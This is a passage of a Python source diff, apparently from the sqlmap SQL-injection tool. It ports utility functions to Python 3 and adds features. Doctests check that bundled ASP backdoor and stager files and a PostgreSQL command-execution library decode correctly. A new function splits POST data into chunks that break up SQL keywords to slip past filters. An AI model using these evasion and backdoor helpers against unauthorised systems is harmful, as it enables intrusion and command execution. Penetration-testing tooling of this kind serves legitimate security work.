DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): + retVal = "\"%s\"" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + retVal = "\"%s\"" % retVal.upper() + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if isTable: + parts = retVal.split('.', 1) + for i in xrange(len(parts)): + if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + parts[i] = "[%s]" % parts[i] + retVal = '.'.join(parts) + else: + if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: + retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) + if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(unsafeSQLIdentificatorNaming("[begin]")) + 'begin' + >>> getText(unsafeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forceDbms = popValue() """ retVal = name - if isinstance(name, basestring): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): + if isinstance(name, six.string_types): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") @@ -3750,7 +4363,7 @@ def isNoneValue(value): False """ - if isinstance(value, basestring): + if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) @@ -3769,7 +4382,7 @@ def isNullValue(value): False """ - return isinstance(value, basestring) and value.upper() == NULL + return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ @@ -3826,16 +4439,16 @@ def __init__(self): if not options: warnMsg = "mnemonic '%s' can't be resolved" % name - logger.warn(warnMsg) + logger.warning(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: - found = sorted(options.keys(), key=lambda x: len(x))[0] + found = sorted(options.keys(), key=len)[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found - logger.warn(warnMsg) + logger.warning(warnMsg) if found: found = options[found] @@ -3861,17 +4474,18 @@ def __init__(self): def safeCSValue(value): """ Returns value safe for CSV dumping - Reference: http://tools.ietf.org/html/rfc4180 - >>> safeCSValue(u'foo, bar') - u'"foo, bar"' - >>> safeCSValue(u'foobar') - u'foobar' + # Reference: http://tools.ietf.org/html/rfc4180 + + >>> safeCSValue('foo, bar') + '"foo, bar"' + >>> safeCSValue('foobar') + 'foobar' """ retVal = value - if retVal and isinstance(retVal, basestring): + if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') @@ -3889,7 +4503,7 @@ def filterPairValues(values): retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): - retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values) + retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] return retVal @@ -3899,41 +4513,47 @@ def randomizeParameterValue(value): >>> random.seed(0) >>> randomizeParameterValue('foobar') - 'rnvnav' + 'fupgpy' >>> randomizeParameterValue('17') - '83' + '36' """ retVal = value - value = re.sub(r"%[0-9a-fA-F]{2}", "", value) + retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) - for match in re.finditer(r"[A-Z]+", value): + def _replace_upper(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).upper() - if original != candidate: - break + candidate = randomStr(len(original)).upper() + if candidate != original: + return candidate - retVal = retVal.replace(original, candidate) + def _replace_lower(match): + original = match.group() + while True: + candidate = randomStr(len(original)).lower() + if candidate != original: + return candidate - for match in re.finditer(r"[a-z]+", value): + def _replace_digit(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).lower() - if original != candidate: - break + candidate = str(randomInt(len(original))) + if candidate != original: + return candidate - retVal = retVal.replace(original, candidate) + retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) + retVal = re.sub(r"[a-z]+", _replace_lower, retVal) + retVal = re.sub(r"[0-9]+", _replace_digit, retVal) - for match in re.finditer(r"[0-9]+", value): - while True: - original = match.group() - candidate = str(randomInt(len(match.group()))) - if original != candidate: - break + if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): + parts = retVal.split('.') + parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] + retVal = '.'.join(parts) - retVal = retVal.replace(original, candidate) + if not retVal: + retVal = randomStr(lowercase=True) return retVal @@ -3951,25 +4571,30 @@ def asciifyUrl(url, forceQuote=False): See also RFC 3987. - Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ + # Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ - >>> asciifyUrl(u'http://www.\u0161u\u0107uraj.com') - u'http://www.xn--uuraj-gxa24d.com' + >>> asciifyUrl(u'http://www.\\u0161u\\u0107uraj.com') + 'http://www.xn--uuraj-gxa24d.com' """ - parts = urlparse.urlsplit(url) - if not parts.scheme or not parts.netloc: + parts = _urllib.parse.urlsplit(url) + if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url - return url + return getText(url) if all(char in string.printable for char in url): - return url + return getText(url) + + hostname = parts.hostname + + if isinstance(hostname, six.binary_type): + hostname = getUnicode(hostname) # idna-encode domain try: - hostname = parts.hostname.encode("idna") - except LookupError: - hostname = parts.hostname.encode(UNICODE_ENCODING) + hostname = hostname.encode("idna") + except: + hostname = hostname.encode("punycode") # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user @@ -3978,10 +4603,10 @@ def asciifyUrl(url, forceQuote=False): def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: - # urllib.quote(s.replace('%', '')) != s.replace('%', '') + # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if getUnicode(s).encode("ascii", "replace") != s or forceQuote: - return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe) + s = _urllib.parse.quote(getBytes(s), safe=safe) return s username = quote(parts.username, '') @@ -3990,7 +4615,7 @@ def quote(s, safe): query = quote(parts.query, safe="&=") # put everything back together - netloc = hostname + netloc = getText(hostname) if username or password: netloc = '@' + netloc if password: @@ -4005,7 +4630,7 @@ def quote(s, safe): if port: netloc += ':' + str(port) - return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url + return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) def isAdminFromPrivileges(privileges): """ @@ -4036,17 +4661,17 @@ def isAdminFromPrivileges(privileges): return retVal -def findPageForms(content, url, raise_=False, addToTargets=False): +def findPageForms(content, url, raiseException=False, addToTargets=False): """ - Parses given page content for possible forms + Parses given page content for possible forms (Note: still not implemented for Python3) - >>> findPageForms('
', '') - set([(u'/input.php', 'POST', u'id=1', None, None)]) + >>> findPageForms('
', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)]) + True """ - class _(StringIO): + class _(six.StringIO, object): def __init__(self, content, url): - StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) + super(_, self).__init__(content) self._url = url def geturl(self): @@ -4054,7 +4679,7 @@ def geturl(self): if not content: errMsg = "can't parse forms as the page content appears to be blank" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4066,73 +4691,96 @@ def geturl(self): try: forms = ParseResponse(response, backwards_compat=False) except ParseError: - if re.search(r"(?i).+)\]", url) @@ -4188,18 +4846,23 @@ def getHostHeader(url): return retVal -def checkDeprecatedOptions(args): +def checkOldOptions(args): """ - Checks for deprecated options + Checks for obsolete/deprecated options """ for _ in args: _ = _.split('=')[0].strip() - if _ in DEPRECATED_OPTIONS: - errMsg = "switch/option '%s' is deprecated" % _ - if DEPRECATED_OPTIONS[_]: - errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + if _ in OBSOLETE_OPTIONS: + errMsg = "switch/option '%s' is obsolete" % _ + if OBSOLETE_OPTIONS[_]: + errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) + elif _ in DEPRECATED_OPTIONS: + warnMsg = "switch/option '%s' is deprecated" % _ + if DEPRECATED_OPTIONS[_]: + warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + logger.warning(warnMsg) def checkSystemEncoding(): """ @@ -4217,9 +4880,9 @@ def checkSystemEncoding(): logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" - logger.warn(warnMsg) + logger.warning(warnMsg) - reload(sys) + _reload_module(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): @@ -4242,12 +4905,8 @@ def serializeObject(object_): """ Serializes given object - >>> serializeObject([1, 2, 3, ('a', 'b')]) - 'gAJdcQEoSwFLAksDVQFhVQFihnECZS4=' - >>> serializeObject(None) - 'gAJOLg==' - >>> serializeObject('foobar') - 'gAJVBmZvb2JhcnEBLg==' + >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str + True """ return base64pickle(object_) @@ -4303,40 +4962,58 @@ def applyFunctionRecursively(value, function): return retVal -def decodeHexValue(value, raw=False): +def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation - >>> decodeHexValue('3132332031') - u'123 1' - >>> decodeHexValue(['0x31', '0x32']) - [u'1', u'2'] + >>> decodeDbmsHexValue('3132332031') == u'123 1' + True + >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' + True + >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('313233203') == u'123 ?' + True + >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] + True + >>> decodeDbmsHexValue('5.1.41') == u'5.1.41' + True """ retVal = value def _(value): retVal = value - if value and isinstance(value, basestring): + if value and isinstance(value, six.string_types): + value = value.strip() + if len(value) % 2 != 0: - retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value + retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: - retVal = hexdecode(value) + retVal = decodeHex(value) - if not kb.binaryField and not raw: - if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): - try: - retVal = retVal.decode("utf-16-le") - except UnicodeDecodeError: - pass - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): - try: - retVal = retVal.decode("utf-16-be") - except UnicodeDecodeError: - pass - if not isinstance(retVal, unicode): - retVal = getUnicode(retVal, conf.encoding or "utf8") + if not raw: + if not kb.binaryField: + if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): + try: + retVal = retVal.decode("utf-16-le") + except UnicodeDecodeError: + pass + + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): + try: + retVal = retVal.decode("utf-16-be") + except UnicodeDecodeError: + pass + + if not isinstance(retVal, six.text_type): + retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) + + if u"\x00" in retVal: + retVal = retVal.replace(u"\x00", u"") return retVal @@ -4353,8 +5030,14 @@ def extractExpectedValue(value, expected): >>> extractExpectedValue(['1'], EXPECTED.BOOL) True + >>> extractExpectedValue(['17'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['0'], EXPECTED.BOOL) + False >>> extractExpectedValue('1', EXPECTED.INT) 1 + >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None + True """ if expected: @@ -4365,21 +5048,23 @@ def extractExpectedValue(value, expected): elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) - elif isinstance(value, basestring): + elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" elif value in ('t', 'f'): value = value == 't' - elif value in ("1", "-1"): - value = True elif value == '0': value = False + elif re.search(r"\A-?[1-9]\d*\Z", value): + value = True else: value = None elif expected == EXPECTED.INT: - if isinstance(value, basestring): - value = int(value) if value.isdigit() else None + try: + value = int(value) + except: + value = None return value @@ -4389,7 +5074,7 @@ def hashDBWrite(key, value, serialize=False): """ if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): @@ -4400,10 +5085,10 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): retVal = None if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None - if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal @@ -4422,12 +5107,13 @@ def resetCookieJar(cookieJar): logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) - lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#'))) + content = re.sub("(?im)^#httpOnly_", "", content) + lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") @@ -4440,7 +5126,7 @@ def resetCookieJar(cookieJar): cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: - if cookie.expires < time.time(): + if getattr(cookie, "expires", MAX_INT) < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) @@ -4450,7 +5136,7 @@ def resetCookieJar(cookieJar): errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) - except cookielib.LoadError as ex: + except Exception as ex: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) @@ -4458,19 +5144,25 @@ def resetCookieJar(cookieJar): def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension - """ - content = decloak(filename) + NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform - _ = utf8encode(os.path.split(filename[:-1])[-1]) + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%') + True + >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%') + True + >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) + True + """ - prefix, suffix = os.path.splitext(_) - prefix = prefix.split(os.extsep)[0] + content = decloak(filename) + parts = os.path.split(filename[:-1])[-1].split('.') + prefix, suffix = parts[0], '.' + parts[-1] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) - with open(filename, "w+b") as f: + with openFile(filename, "w+b", encoding=None) as f: f.write(content) return filename @@ -4480,27 +5172,35 @@ def prioritySortColumns(columns): Sorts given column names by length in ascending order while those containing string 'id' go first - >>> prioritySortColumns(['password', 'userid', 'name']) - ['userid', 'name', 'password'] + >>> prioritySortColumns(['password', 'userid', 'name', 'id']) + ['id', 'userid', 'name', 'password'] """ - def _(column): - return column and "id" in column.lower() + recompile = re.compile(r"^id|id$", re.I) - return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) + return sorted(columns, key=lambda col: ( + not (col and recompile.search(col)), + len(col) + )) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity - Reference: http://bugs.python.org/issue2275 + # Reference: http://bugs.python.org/issue2275 + + >>> _ = lambda _: _ + >>> _.headers = {"FOO": "BAR"} + >>> _.header_items = lambda: _.headers.items() + >>> getText(getRequestHeader(_, "foo")) + 'BAR' """ retVal = None if request and request.headers and name: _ = name.upper() - retVal = max(value if _ == key.upper() else None for key, value in request.header_items()) + retVal = max(getBytes(value if _ == key.upper() else "") for key, value in request.header_items()) or None return retVal @@ -4530,6 +5230,8 @@ def zeroDepthSearch(expression, value): >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] 'FROM DUAL' + >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] + ',d;e' """ retVal = [] @@ -4540,8 +5242,12 @@ def zeroDepthSearch(expression, value): depth += 1 elif expression[index] == ')': depth -= 1 - elif depth == 0 and expression[index:index + len(value)] == value: - retVal.append(index) + elif depth == 0: + if value.startswith('[') and value.endswith(']'): + if re.search(value, expression[index:index + 1]): + retVal.append(index) + elif expression[index:index + len(value)] == value: + retVal.append(index) return retVal @@ -4558,7 +5264,7 @@ def splitFields(fields, delimiter=','): commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) - return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): """ @@ -4585,6 +5291,13 @@ def pollProcess(process, suppress_errors=False): def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list + + >>> handle, reqFile = tempfile.mkstemp(suffix=".req") + >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" + >>> _ = os.write(handle, content) + >>> os.close(handle) + >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) + True """ def _parseWebScarabLog(content): @@ -4592,6 +5305,9 @@ def _parseWebScarabLog(content): Parses WebScarab logs (POST method not supported) """ + if WEBSCARAB_SPLITTER not in content: + return + reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: @@ -4610,7 +5326,7 @@ def _parseWebScarabLog(content): logger.warning(warnMsg) continue - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): @@ -4624,13 +5340,13 @@ def _parseBurpLog(content): for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() try: - request = request.decode("base64") - except binascii.Error: + request = decodeBase64(request, binary=False) + except (binascii.Error, TypeError): continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() - if not re.search(r":\d+\Z", host): + if not re.search(r":\d+\Z", host) and int(port) != 80: request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: @@ -4639,7 +5355,7 @@ def _parseBurpLog(content): reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: - request = match if isinstance(match, basestring) else match.group(1) + request = match if isinstance(match, six.string_types) else match.group(1) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) @@ -4650,13 +5366,15 @@ def _parseBurpLog(content): else: scheme, port = None, None - if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): + if "HTTP/" not in request: continue - if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): - continue + if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): + if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): + continue getPostReq = False + forceBody = False url = None host = None method = None @@ -4673,11 +5391,13 @@ def _parseBurpLog(content): if not line.strip() and index == len(lines) - 1: break + line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) + newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') - match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None + match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None - if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: + if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: data = "" params = True @@ -4703,26 +5423,33 @@ def _parseBurpLog(content): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") + # Note: overriding values with --headers '...' + match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + if match: + key, value = match.groups() + # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] - splitValue = value.split(":") - host = splitValue[0] - if len(splitValue) > 1: - port = filterStringValue(splitValue[1], "[0-9]") + port = extractRegexResult(r":(?P\d+)\Z", value) + if port: + host = value[:-(1 + len(port))] + else: + host = value # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): + forceBody = True params = True # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): @@ -4731,7 +5458,7 @@ def _parseBurpLog(content): data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie or not checkParams): - if not port and isinstance(scheme, basestring) and scheme.lower() == "https": + if not port and hasattr(scheme, "lower") and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" @@ -4749,21 +5476,20 @@ def _parseBurpLog(content): scheme = None port = None - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) - checkFile(reqFile) - try: - with openFile(reqFile, "rb") as f: - content = f.read() - except (IOError, OSError, MemoryError) as ex: - errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) - raise SqlmapSystemException(errMsg) + content = readCachedFileContent(reqFile) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + for target in _parseBurpLog(content): yield target @@ -4773,22 +5499,29 @@ def _parseBurpLog(content): def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string - (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) - >>> getSafeExString(Exception('foobar')) - u'foobar' + >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' + True + >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' + True """ + retVal = None + if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg - elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring): - retVal = ex[1] - elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring): - retVal = ex[0] - else: + elif getattr(ex, "args", None): + for candidate in ex.args[::-1]: + if isinstance(candidate, six.string_types): + retVal = candidate + break + + if retVal is None: retVal = str(ex) + elif not isinstance(ex, SqlmapBaseException): + retVal = "%s: %s" % (type(ex).__name__, retVal) return getUnicode(retVal or "", encoding=encoding).strip() @@ -4796,21 +5529,27 @@ def safeVariableNaming(value): """ Returns escaped safe-representation of a given variable name that can be used in Python evaluated code - >>> safeVariableNaming("foo bar") - 'foo__SAFE__20bar' + >>> safeVariableNaming("class.id") == "EVAL_636c6173732e6964" + True """ - return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) + if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): + value = "%s%s" % (EVALCODE_ENCODED_PREFIX, getUnicode(binascii.hexlify(getBytes(value)))) + + return value def unsafeVariableNaming(value): """ Returns unescaped safe-representation of a given variable name - >>> unsafeVariableNaming("foo__SAFE__20bar") - 'foo bar' + >>> unsafeVariableNaming("EVAL_636c6173732e6964") == "class.id" + True """ - return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) + if value.startswith(EVALCODE_ENCODED_PREFIX): + value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) + + return value def firstNotNone(*args): """ @@ -4828,3 +5567,82 @@ def firstNotNone(*args): break return retVal + +def removePostHintPrefix(value): + """ + Remove POST hint prefix from a given value (name) + + >>> removePostHintPrefix("JSON id") + 'id' + >>> removePostHintPrefix("id") + 'id' + """ + + return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + + +def chunkSplitPostData(data): + """ + Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) + + >>> random.seed(0) + >>> chunkSplitPostData("SELECT username,password FROM users") + '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n' + """ + + length = len(data) + retVal = [] + index = 0 + + while index < length: + chunkSize = randomInt(1) + + if index + chunkSize >= length: + chunkSize = length - index + + salt = randomStr(5, alphabet=string.ascii_letters + string.digits) + + while chunkSize: + candidate = data[index:index + chunkSize] + + if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): + chunkSize -= 1 + else: + break + + index += chunkSize + + # Append to list instead of recreating the string + retVal.append("%x;%s\r\n" % (chunkSize, salt)) + retVal.append("%s\r\n" % candidate) + + retVal.append("0\r\n\r\n") + + return "".join(retVal) + +def checkSums(): + """ + Validate the content of the digest file (i.e. sha256sums.txt) + >>> checkSums() + True + """ + + retVal = True + + if paths.get("DIGEST_FILE"): + for entry in getFileItems(paths.DIGEST_FILE): + match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) + if match: + expected, filename = match.groups() + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) + if not checkFile(filepath, False): + continue + with open(filepath, "rb") as f: + content = f.read() + if b'\0' not in content: + content = content.replace(b"\r\n", 